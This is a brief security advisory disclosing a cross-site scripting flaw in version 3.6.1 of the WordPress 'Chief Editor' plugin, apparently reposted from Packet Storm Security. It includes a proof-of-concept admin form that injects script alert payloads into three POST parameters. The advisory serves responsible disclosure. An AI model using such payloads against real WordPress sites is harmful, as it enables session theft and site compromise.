WordPress Chief Editor 3.6.1 Cross Site Scripting

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WordPress Chief Editor plugin version 3.6.1 suffers from a cross site scripting vulnerability.

Title: WordPress 'Chief Editor' Plugin 
Version: 3.6.1
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-17
Download: 
- https://wordpress.org/plugins/chief-editor/
- https://plugins.svn.wordpress.org/chief-editor/
Notified Vendor/WordPress: 2015-06-21
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## Plugin description
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Helps wordpress multisite "chief editor" to manage all drafts, comments, authors and "ready for publication" sends across the netw

## Vulnerabilities
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Some POST parameters are printed directly to the HTML without being sanitized. 

PoC:
Log in as admin and submit the following form:

<form method="POST" action="[URL]/wp422/wp-admin/admin.php?page=chief-editor-dashboard"> 
  <input type="text" name="submitDate" value="someValue"><br />
  <input type="text" name="datepicker" value=""/><script>alert(1)</script>"><br />
  <input type="text" name="blog_id" value=""/><script>alert(2)</script>"><br />
  <input type="text" name="post_id" value=""/><script>alert(3)</script>"><br />
  <input type="submit">
</form>


## Solution
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No fix available

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Vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.

Quelle: Packet storm Security

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